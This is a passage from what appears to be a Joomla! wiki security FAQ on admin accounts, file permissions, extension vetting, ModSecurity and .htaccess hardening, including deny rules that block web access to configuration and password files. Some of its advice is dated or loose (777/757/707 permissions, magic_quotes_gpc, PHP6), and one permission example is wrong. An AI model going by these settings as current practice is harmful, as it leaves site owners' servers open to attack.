
* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

